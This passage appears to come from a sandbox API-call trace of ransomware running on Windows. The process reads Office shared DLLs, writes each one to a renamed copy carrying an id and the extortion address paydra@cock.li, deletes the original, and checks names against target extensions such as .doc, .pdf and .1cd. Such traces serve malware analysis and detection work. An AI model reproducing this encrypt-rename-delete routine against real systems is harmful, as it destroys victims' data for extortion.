hTemplateFile=0x0) returned 0x1a8 [0060.064] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=1012648) returned 1 [0060.064] CloseHandle (hObject=0x1a8) returned 1 [0060.064] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acees.dll")) returned 0x20 [0060.064] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acees.dll.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0060.064] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acees.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0060.064] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.064] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.064] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acees.dll.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0060.065] GetLastError () returned 0x0 [0060.065] ReadFile (in: hFile=0x1a8, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x329fed4*=0xf73a8, lpOverlapped=0x0) returned 1 [0060.086] WriteFile (in: hFile=0x1dc, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xf73b0, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x329fc9c*=0xf73b0, lpOverlapped=0x0) returned 1 [0060.101] ReadFile (in: hFile=0x1a8, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0060.101] WriteFile (in: hFile=0x1dc, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x329fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0060.101] SetEndOfFile (hFile=0x1dc) returned 1 [0060.101] CloseHandle (hObject=0x1dc) returned 1 [0060.102] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.102] SetEndOfFile (hFile=0x1a8) returned 1 [0060.911] CloseHandle (hObject=0x1a8) returned 1 [0060.911] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0060.935] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acees.dll")) returned 1 [0060.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL") returned 65 [0060.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL") returned 65 [0060.935] lstrlenW (lpString=".doc") returned 4 [0060.935] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0060.935] lstrlenW (lpString=".docx") returned 5 [0060.935] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0060.936] lstrlenW (lpString=".pdf") returned 4 [0060.936] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0060.936] lstrlenW (lpString=".xls") returned 4 [0060.936] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0060.936] lstrlenW (lpString=".xlsx") returned 5 [0060.936] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0060.936] lstrlenW (lpString=".ppt") returned 4 [0060.936] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0060.936] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL") returned 65 [0060.936] lstrlenW (lpString=".zip") returned 4 [0060.936] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0060.936] lstrlenW (lpString=".rar") returned 4 [0060.986] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0060.986] lstrlenW (lpString=".bz2") returned 4 [0060.986] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0060.986] lstrlenW (lpString=".7z") returned 3 [0060.986] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0060.986] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL") returned 65 [0060.986] lstrlenW (lpString=".dbf") returned 4 [0060.986] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0060.987] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL") returned 65 [0060.987] lstrlenW (lpString=".1cd") returned 4 [0060.987] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0060.987] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL") returned 65 [0060.987] lstrlenW (lpString=".jpg") returned 4 [0060.987] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0060.987] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL") returned 65 [0060.987] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL") returned 65 [0060.987] lstrlenW (lpString=".doc") returned 4 [0060.987] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0060.987] lstrlenW (lpString=".docx") returned 5 [0060.987] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0060.987] lstrlenW (lpString=".pdf") returned 4 [0060.987] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0060.987] lstrlenW (lpString=".xls") returned 4 [0060.987] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0060.987] lstrlenW (lpString=".xlsx") returned 5 [0060.987] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0060.987] lstrlenW (lpString=".ppt") returned 4 [0060.987] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0060.987] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL") returned 65 [0060.987] lstrlenW (lpString=".zip") returned 4 [0060.987] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0060.987] lstrlenW (lpString=".rar") returned 4 [0060.987] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0060.987] lstrlenW (lpString=".bz2") returned 4 [0060.987] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0060.987] lstrlenW (lpString=".7z") returned 3 [0060.987] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0060.987] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL") returned 65 [0060.987] lstrlenW (lpString=".dbf") returned 4 [0060.987] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0060.987] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL") returned 65 [0060.988] lstrlenW (lpString=".1cd") returned 4 [0060.988] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0060.988] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL") returned 65 [0060.988] lstrlenW (lpString=".jpg") returned 4 [0060.988] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0060.988] lstrcmpiW (lpString1=".DLL", lpString2=".html") returned -1 [0060.988] lstrlenW (lpString="ACER3X.DLL") returned 10 [0060.988] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acer3x.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0061.076] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=451480) returned 1 [0061.076] CloseHandle (hObject=0x1dc) returned 1 [0061.076] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acer3x.dll")) returned 0x20 [0061.076] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acer3x.dll.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0061.076] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acer3x.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0061.076] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.077] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.077] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acer3x.dll.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x23c [0061.077] GetLastError () returned 0x0 [0061.077] ReadFile (in: hFile=0x1dc, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x329fed4*=0x6e398, lpOverlapped=0x0) returned 1 [0061.086] WriteFile (in: hFile=0x23c, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0x6e3a0, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x329fc9c*=0x6e3a0, lpOverlapped=0x0) returned 1 [0061.093] ReadFile (in: hFile=0x1dc, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0061.093] WriteFile (in: hFile=0x23c, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x329fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0061.093] SetEndOfFile (hFile=0x23c) returned 1 [0061.093] CloseHandle (hObject=0x23c) returned 1 [0061.093] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.093] SetEndOfFile (hFile=0x1dc) returned 1 [0061.097] CloseHandle (hObject=0x1dc) returned 1 [0061.097] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0061.097] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acer3x.dll")) returned 1 [0061.097] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL") returned 66 [0061.097] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL") returned 66 [0061.097] lstrlenW (lpString=".doc") returned 4 [0061.097] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0061.097] lstrlenW (lpString=".docx") returned 5 [0061.097] lstrcmpiW (lpString1=".docx", lpString2="X.DLL") returned -1 [0061.097] lstrlenW (lpString=".pdf") returned 4 [0061.097] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0061.097] lstrlenW (lpString=".xls") returned 4 [0061.097] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0061.098] lstrlenW (lpString=".xlsx") returned 5 [0061.098] lstrcmpiW (lpString1=".xlsx", lpString2="X.DLL") returned -1 [0061.098] lstrlenW (lpString=".ppt") returned 4 [0061.098] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0061.098] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL") returned 66 [0061.098] lstrlenW (lpString=".zip") returned 4 [0061.098] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0061.098] lstrlenW (lpString=".rar") returned 4 [0061.098] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0061.098] lstrlenW (lpString=".bz2") returned 4 [0061.098] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0061.098] lstrlenW (lpString=".7z") returned 3 [0061.098] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0061.098] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL") returned 66 [0061.098] lstrlenW (lpString=".dbf") returned 4 [0061.098] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0061.098] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL") returned 66 [0061.098] lstrlenW (lpString=".1cd") returned 4 [0061.098] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0061.098] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL") returned 66 [0061.098] lstrlenW (lpString=".jpg") returned 4 [0061.098] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0061.098] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL") returned 66 [0061.098] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL") returned 66 [0061.098] lstrlenW (lpString=".doc") returned 4 [0061.098] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0061.098] lstrlenW (lpString=".docx") returned 5 [0061.098] lstrcmpiW (lpString1=".docx", lpString2="X.DLL") returned -1 [0061.098] lstrlenW (lpString=".pdf") returned 4 [0061.098] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0061.098] lstrlenW (lpString=".xls") returned 4 [0061.098] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0061.098] lstrlenW (lpString=".xlsx") returned 5 [0061.098] lstrcmpiW (lpString1=".xlsx", lpString2="X.DLL") returned -1 [0061.099] lstrlenW (lpString=".ppt") returned 4 [0061.099] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0061.099] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL") returned 66 [0061.099] lstrlenW (lpString=".zip") returned 4 [0061.099] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0061.099] lstrlenW (lpString=".rar") returned 4 [0061.099] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0061.099] lstrlenW (lpString=".bz2") returned 4 [0061.099] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0061.099] lstrlenW (lpString=".7z") returned 3 [0061.099] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0061.099] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL") returned 66 [0061.099] lstrlenW (lpString=".dbf") returned 4 [0061.099] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0061.099] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL") returned 66 [0061.099] lstrlenW (lpString=".1cd") returned 4 [0061.099] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0061.099] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL") returned 66 [0061.099] lstrlenW (lpString=".jpg") returned 4 [0061.099] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0061.099] lstrcmpiW (lpString1=".DLL", lpString2=".html") returned -1 [0061.099] lstrlenW (lpString="ACEREP.DLL") returned 10 [0061.099] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerep.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0061.100] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=691616) returned 1 [0061.100] CloseHandle (hObject=0x1dc) returned 1 [0061.100] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerep.dll")) returned 0x20 [0061.100] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerep.dll.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0061.100] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerep.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0061.100] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.100] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.100] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerep.dll.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x23c [0061.100] GetLastError () returned 0x0 [0061.101] ReadFile (in: hFile=0x1dc, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x329fed4*=0xa8da0, lpOverlapped=0x0) returned 1 [0061.113] WriteFile (in: hFile=0x23c, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xa8db0, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x329fc9c*=0xa8db0, lpOverlapped=0x0) returned 1 [0061.212] ReadFile (in: hFile=0x1dc, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0061.212] WriteFile (in: hFile=0x23c, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x329fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0061.212] SetEndOfFile (hFile=0x23c) returned 1 [0061.683] CloseHandle (hObject=0x23c) returned 1 [0061.687] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.687] SetEndOfFile (hFile=0x1dc) returned 1 [0061.986] CloseHandle (hObject=0x1dc) returned 1 [0061.986] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0061.987] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerep.dll")) returned 1 [0061.987] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL") returned 66 [0061.987] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL") returned 66 [0061.987] lstrlenW (lpString=".doc") returned 4 [0061.987] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0061.987] lstrlenW (lpString=".docx") returned 5 [0061.987] lstrcmpiW (lpString1=".docx", lpString2="P.DLL") returned -1 [0061.987] lstrlenW (lpString=".pdf") returned 4 [0061.987] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0061.987] lstrlenW (lpString=".xls") returned 4 [0061.987] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0061.987] lstrlenW (lpString=".xlsx") returned 5 [0061.987] lstrcmpiW (lpString1=".xlsx", lpString2="P.DLL") returned -1 [0061.987] lstrlenW (lpString=".ppt") returned 4 [0061.987] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0061.987] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL") returned 66 [0061.987] lstrlenW (lpString=".zip") returned 4 [0061.987] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0061.987] lstrlenW (lpString=".rar") returned 4 [0061.987] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0061.987] lstrlenW (lpString=".bz2") returned 4 [0061.987] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0061.987] lstrlenW (lpString=".7z") returned 3 [0061.987] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0061.987] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL") returned 66 [0061.988] lstrlenW (lpString=".dbf") returned 4 [0061.988] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0061.988] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL") returned 66 [0061.988] lstrlenW (lpString=".1cd") returned 4 [0061.988] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0061.988] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL") returned 66 [0061.988] lstrlenW (lpString=".jpg") returned 4 [0061.988] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0061.988] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL") returned 66 [0061.988] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL") returned 66 [0061.988] lstrlenW (lpString=".doc") returned 4 [0061.988] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0061.988] lstrlenW (lpString=".docx") returned 5 [0061.988] lstrcmpiW (lpString1=".docx", lpString2="P.DLL") returned -1 [0061.988] lstrlenW (lpString=".pdf") returned 4 [0061.988] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0061.988] lstrlenW (lpString=".xls") returned 4 [0061.988] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0061.988] lstrlenW (lpString=".xlsx") returned 5 [0061.988] lstrcmpiW (lpString1=".xlsx", lpString2="P.DLL") returned -1 [0061.988] lstrlenW (lpString=".ppt") returned 4 [0061.988] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0061.988] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL") returned 66 [0061.988] lstrlenW (lpString=".zip") returned 4 [0061.988] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0061.988] lstrlenW (lpString=".rar") returned 4 [0061.988] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0061.988] lstrlenW (lpString=".bz2") returned 4 [0061.988] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0061.988] lstrlenW (lpString=".7z") returned 3 [0061.988] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0061.988] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL") returned 66 [0061.988] lstrlenW (lpString=".dbf") returned 4 [0061.988] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0061.989] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL") returned 66 [0061.989] lstrlenW (lpString=".1cd") returned 4 [0061.989] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0061.989] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL") returned 66 [0061.989] lstrlenW (lpString=".jpg") returned 4 [0061.989] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0061.989] lstrcmpiW (lpString1=".DLL", lpString2=".html") returned -1 [0061.989] lstrlenW (lpString="ACETXT.DLL") returned 10 [0061.989] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acetxt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0061.989] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=297360) returned 1 [0061.989] CloseHandle (hObject=0x1dc) returned 1 [0061.990] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acetxt.dll")) returned 0x20 [0061.990] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acetxt.dll.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0061.990] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acetxt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0061.990] 